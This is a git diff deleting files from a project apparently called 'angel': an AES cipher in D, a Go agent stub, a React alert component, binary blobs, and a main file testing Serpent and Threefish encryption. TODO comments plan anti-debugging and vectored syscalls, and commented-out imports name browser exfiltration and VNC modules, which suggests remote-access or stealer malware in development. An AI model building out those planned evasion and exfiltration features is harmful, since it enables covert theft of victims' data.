rotateRight(T0[(r3>>24)&255], 8) ^ wk[r][0]; - C1 = T0[r1&255] ^ rotateRight(T0[(r2>>8)&255], 24) ^ rotateRight(T0[(r3>>16)&255], 16) ^ rotateRight(T0[(r0>>24)&255], 8) ^ wk[r][1]; - C2 = T0[r2&255] ^ rotateRight(T0[(r3>>8)&255], 24) ^ rotateRight(T0[(r0>>16)&255], 16) ^ rotateRight(T0[(r1>>24)&255], 8) ^ wk[r][2]; - C3 = T0[r3&255] ^ rotateRight(T0[(r0>>8)&255], 24) ^ rotateRight(T0[(r1>>16)&255], 16) ^ rotateRight(T0[(r2>>24)&255], 8) ^ wk[r++][3]; - } - - r0 = T0[C0&255] ^ rotateRight(T0[(C1>>8)&255], 24) ^ rotateRight(T0[(C2>>16)&255], 16) ^ rotateRight(T0[(C3>>24)&255], 8) ^ wk[r][0]; - r1 = T0[C1&255] ^ rotateRight(T0[(C2>>8)&255], 24) ^ rotateRight(T0[(C3>>16)&255], 16) ^ rotateRight(T0[(C0>>24)&255], 8) ^ wk[r][1]; - r2 = T0[C2&255] ^ rotateRight(T0[(C3>>8)&255], 24) ^ rotateRight(T0[(C0>>16)&255], 16) ^ rotateRight(T0[(C1>>24)&255], 8) ^ wk[r][2]; - r3 = T0[C3&255] ^ rotateRight(T0[(C0>>8)&255], 24) ^ rotateRight(T0[(C1>>16)&255], 16) ^ rotateRight(T0[(C2>>24)&255], 8) ^ wk[r++][3]; - - // the final round's table is a simple function of S so we don't use a whole other four tables for it - - C0 = (S[r0&255]) ^ ((S[(r1>>8)&255])<<8) ^ ((S[(r2>>16)&255])<<16) ^ (S[(r3>>24)&255]<<24) ^ wk[r][0]; - C1 = (S[r1&255]) ^ ((S[(r2>>8)&255])<<8) ^ ((S[(r3>>16)&255])<<16) ^ (S[(r0>>24)&255]<<24) ^ wk[r][1]; - C2 = (S[r2&255]) ^ ((S[(r3>>8)&255])<<8) ^ ((S[(r0>>16)&255])<<16) ^ (S[(r1>>24)&255]<<24) ^ wk[r][2]; - C3 = (S[r3&255]) ^ ((S[(r0>>8)&255])<<8) ^ ((S[(r1>>16)&255])<<16) ^ (S[(r2>>24)&255]<<24) ^ wk[r][3]; - - } - - @safe @nogc - private void decryptBlock() nothrow - { - alias workingKey wk; - - uint r, r0, r1, r2, r3; - - C0 ^= wk[ROUNDS][0]; - C1 ^= wk[ROUNDS][1]; - C2 ^= wk[ROUNDS][2]; - C3 ^= wk[ROUNDS][3]; - - r = ROUNDS-1; - - while (r>1) - { - r0 = Tinv0[C0&255] ^ rotateRight(Tinv0[(C3>>8)&255], 24) ^ rotateRight(Tinv0[(C2>>16)&255], 16) ^ rotateRight(Tinv0[(C1>>24)&255], 8) ^ wk[r][0]; - r1 = Tinv0[C1&255] ^ rotateRight(Tinv0[(C0>>8)&255], 24) ^ rotateRight(Tinv0[(C3>>16)&255], 16) ^ rotateRight(Tinv0[(C2>>24)&255], 8) ^ wk[r][1]; - r2 = Tinv0[C2&255] ^ rotateRight(Tinv0[(C1>>8)&255], 24) ^ rotateRight(Tinv0[(C0>>16)&255], 16) ^ rotateRight(Tinv0[(C3>>24)&255], 8) ^ wk[r][2]; - r3 = Tinv0[C3&255] ^ rotateRight(Tinv0[(C2>>8)&255], 24) ^ rotateRight(Tinv0[(C1>>16)&255], 16) ^ rotateRight(Tinv0[(C0>>24)&255], 8) ^ wk[r--][3]; - C0 = Tinv0[r0&255] ^ rotateRight(Tinv0[(r3>>8)&255], 24) ^ rotateRight(Tinv0[(r2>>16)&255], 16) ^ rotateRight(Tinv0[(r1>>24)&255], 8) ^ wk[r][0]; - C1 = Tinv0[r1&255] ^ rotateRight(Tinv0[(r0>>8)&255], 24) ^ rotateRight(Tinv0[(r3>>16)&255], 16) ^ rotateRight(Tinv0[(r2>>24)&255], 8) ^ wk[r][1]; - C2 = Tinv0[r2&255] ^ rotateRight(Tinv0[(r1>>8)&255], 24) ^ rotateRight(Tinv0[(r0>>16)&255], 16) ^ rotateRight(Tinv0[(r3>>24)&255], 8) ^ wk[r][2]; - C3 = Tinv0[r3&255] ^ rotateRight(Tinv0[(r2>>8)&255], 24) ^ rotateRight(Tinv0[(r1>>16)&255], 16) ^ rotateRight(Tinv0[(r0>>24)&255], 8) ^ wk[r--][3]; - } - - r0 = Tinv0[C0&255] ^ rotateRight(Tinv0[(C3>>8)&255], 24) ^ rotateRight(Tinv0[(C2>>16)&255], 16) ^ rotateRight(Tinv0[(C1>>24)&255], 8) ^ wk[r][0]; - r1 = Tinv0[C1&255] ^ rotateRight(Tinv0[(C0>>8)&255], 24) ^ rotateRight(Tinv0[(C3>>16)&255], 16) ^ rotateRight(Tinv0[(C2>>24)&255], 8) ^ wk[r][1]; - r2 = Tinv0[C2&255] ^ rotateRight(Tinv0[(C1>>8)&255], 24) ^ rotateRight(Tinv0[(C0>>16)&255], 16) ^ rotateRight(Tinv0[(C3>>24)&255], 8) ^ wk[r][2]; - r3 = Tinv0[C3&255] ^ rotateRight(Tinv0[(C2>>8)&255], 24) ^ rotateRight(Tinv0[(C1>>16)&255], 16) ^ rotateRight(Tinv0[(C0>>24)&255], 8) ^ wk[r][3]; - - // the final round's table is a simple function of Si so we don't use a whole other four tables for it - - C0 = (Si[r0&255]) ^ ((Si[(r3>>8)&255])<<8) ^ ((Si[(r2>>16)&255])<<16) ^ (Si[(r1>>24)&255]<<24) ^ wk[0][0]; - C1 = (Si[r1&255]) ^ ((Si[(r0>>8)&255])<<8) ^ ((Si[(r3>>16)&255])<<16) ^ (Si[(r2>>24)&255]<<24) ^ wk[0][1]; - C2 = (Si[r2&255]) ^ ((Si[(r1>>8)&255])<<8) ^ ((Si[(r0>>16)&255])<<16) ^ (Si[(r3>>24)&255]<<24) ^ wk[0][2]; - C3 = (Si[r3&255]) ^ ((Si[(r2>>8)&255])<<8) ^ ((Si[(r1>>16)&255])<<16) ^ (Si[(r0>>24)&255]<<24) ^ wk[0][3]; - } -} diff --git a/afdaf24faa01851ba7289551b576a3bd857a88 b/afdaf24faa01851ba7289551b576a3bd857a88 deleted file mode 100644 index 8801e6d11f15c0c40e467a9db5b6b112d13bbad0790ef1813c7e4ce453f81d1a..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1271 zcmVdV$+n4PguC+)>B)^Xz)pe%U@WcC`fBZ(~d!-G02T2K6BH0+&YL&xC z)9<4wG=EOkBD>Twmqs3h^ZP|7seG7La?U%Z89BB4YPimnf#wMyo6n zdeZy4)M{VS(zz5_dYPDA`|(GTRl?eo&e8E8Q@gz?#W^m~nc~4rA|Hhfbf?rm(=FOZ zkNKH8|FG(eZbl7INHqR2e%1ut6_n^T=ZS3Jd5z86-D6-*SADutMTRnk2wWC zEo!15gD_6?Wsb}?SVJRR^b1NfbmQn&F`imC#H&GjG=6dm9{)cTA*K?{X0tu}o%AKmR6xM>mO5t9boh$-mS0l;`+r-CMgG@P%pgLrA%pi6Fx{zr3 zRtuxDv9pn?LiM{yPvQ34TBZ$))RYdswfo8CqbN68?u}H%kmoe*?7^-tqAZg;F}NeQ zHs_7Z>*`L|HbkvfyaI%|*%3g>QDV@g(XzPfh)7Hd+*{5(m5{(|NI{OxeE}hBdp1_+ zKGErw*pi<7cJt-)M|t>^i5!KRlCdI2>%STdcU>7#F8Xe(Xcfme5VE8!Nn$6hJU}x+ zT(?IJh4_1MM9y5KmcdVzA;_X_-A)*YMV%C+@<2B&Yy7Y2LRr?EA|93dWFw}J)9*)< z&NObG6^)^boo0+957I1^8g9i85+y=VtqM zm|ZDlRvi)_{1j!e{S(_wRpy1=Z^WktL5*$&f@*PL8#e6wA zAKtx#5j{7k1C6dW^i=929}f|9U_B zNsIh%;BL)v1f(=+#hq4Fkq)-(S0M>59)cw>_n>j?`0rrZ>|~Z|QM@$JdhObBc&H!! zBWSJCN6f?O;2B)=Lm=kQvsrGR7h^aD9|1j(_<=?n{lm;n%%aLNH1iXyKSW<5KpX0- zz~7=oPIHmUDz`*PUy$u14)|w#O*z;b7xR5@uDXDRNa0LK2=TywhLaA36NyITIcksp hNrTJ(&U)`ZT-W>0fNg%s-Q_=7O!05x=wBW#L!R5zcN_o! diff --git a/agent.go b/agent.go deleted file mode 100644 index 9d08ba9..0000000 --- a/agent.go +++ /dev/null @@ -1,18 +0,0 @@ -package conn - -import ( - "angel_server/consts" - "angel_server/cryptmeow" - "log/slog" - "net" -) - -func agent_impl(conn net.Conn, layer_id int) { - var publicKey, _ [32]byte = cryptmeow.Gen_keypair() - - _, err := conn.Write(publicKey[:]) - if err != nil { - consts.Logger.Error("failed to send public key", slog.String("error", err.Error())) - return - } -} \ No newline at end of file diff --git a/alert.tsx b/alert.tsx deleted file mode 100644 index 844d093..0000000 --- a/alert.tsx +++ /dev/null @@ -1,59 +0,0 @@ -import * as React from "react" -import { cva, type VariantProps } from "class-variance-authority" - -import { cn } from "@/lib/utils" - -const alertVariants = cva( - "relative w-full rounded-lg border px-4 py-3 text-sm [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground [&>svg~*]:pl-7", - { - variants: { - variant: { - default: "bg-background text-foreground", - destructive: - "border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive", - }, - }, - defaultVariants: { - variant: "default", - }, - } -) - -const Alert = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes & VariantProps ->(({ className, variant, ...props }, ref) => ( -
-)) -Alert.displayName = "Alert" - -const AlertTitle = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -AlertTitle.displayName = "AlertTitle" - -const AlertDescription = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -AlertDescription.displayName = "AlertDescription" - -export { Alert, AlertTitle, AlertDescription } diff --git a/angel.d b/angel.d deleted file mode 100644 index 2c77bf5..0000000 --- a/angel.d +++ /dev/null @@ -1,76 +0,0 @@ -module angel.main; - -// TODO optimize imports (only neccessary) -// TODO mutex check + execution timer -// TODO anti dbg -// TODO error handler ?? use auto, receive -> check for data, if none print result (err) -// TODO veh/vectored syscalls in suspended thread - -// Internal imports -import angel.utils.logging; -import angel.utils.constants; -import angel.utils.clean; -import angel.conn : Listener; - -//import angel.exfil.browser.browser; -import angel.utils.init; - -//import angel.utils.cryptography.threefish; -//import angel.utils.cryptography.aes; -import angel.utils.cryptography.serpent; -import angel.utils.cryptography.cryptography; -import angel.utils.cryptography.cryptography : Serpi, Freefishy; - -//import angel.utils.cryptography.gcm.gcm; -//import angel.utils.cryptography.aes; -import angel.utils.cryptography.threefish; - -import angel.config : config; - -//import angel.conn.vnc.vnc; -// External imports -import std.stdio; -import std.conv : to; -import core.thread.osthread; -import std.format; - -int main() -{ - init(); - - // ! Serpent implementation - - Cryptography.KeyPair keypair = Cryptography.derive_25519(config.server_pk); - - auto serp = new Serpi(keypair); - - auto lol = serp.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf"); - - Logger.log(LogLevel.Debug, lol.to!string); - - auto lol2 = serp.decrypt(lol); - - Logger.log(LogLevel.Debug, lol2.to!string); - - - // ! ThreeFish512 implementation - auto kiii = Threefish512.generateKey(); - auto tweaki = Threefish512.generateTweak(); - - Logger.log(LogLevel.Debug, format("Generated Key: %s", kiii)); - Logger.log(LogLevel.Debug, format("Generated Tweak: %s", tweaki)); - - auto fish = new Freefishy(kiii, tweaki); - - auto lol3 = fish.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf"); - - Logger.log(LogLevel.Debug, lol3.to!string); - - auto lol4 = fish.decrypt(lol3); - - Logger.log(LogLevel.Debug, lol4.to!string); - - new Listener(); - - return 0; -} diff --git a/angel.png b/angel.png deleted file mode 100644 index 25f7b5465b3fa8fdfc48fc811367ccc450e5593f93f57ac42f7a54d3d749ab05..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 114829 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 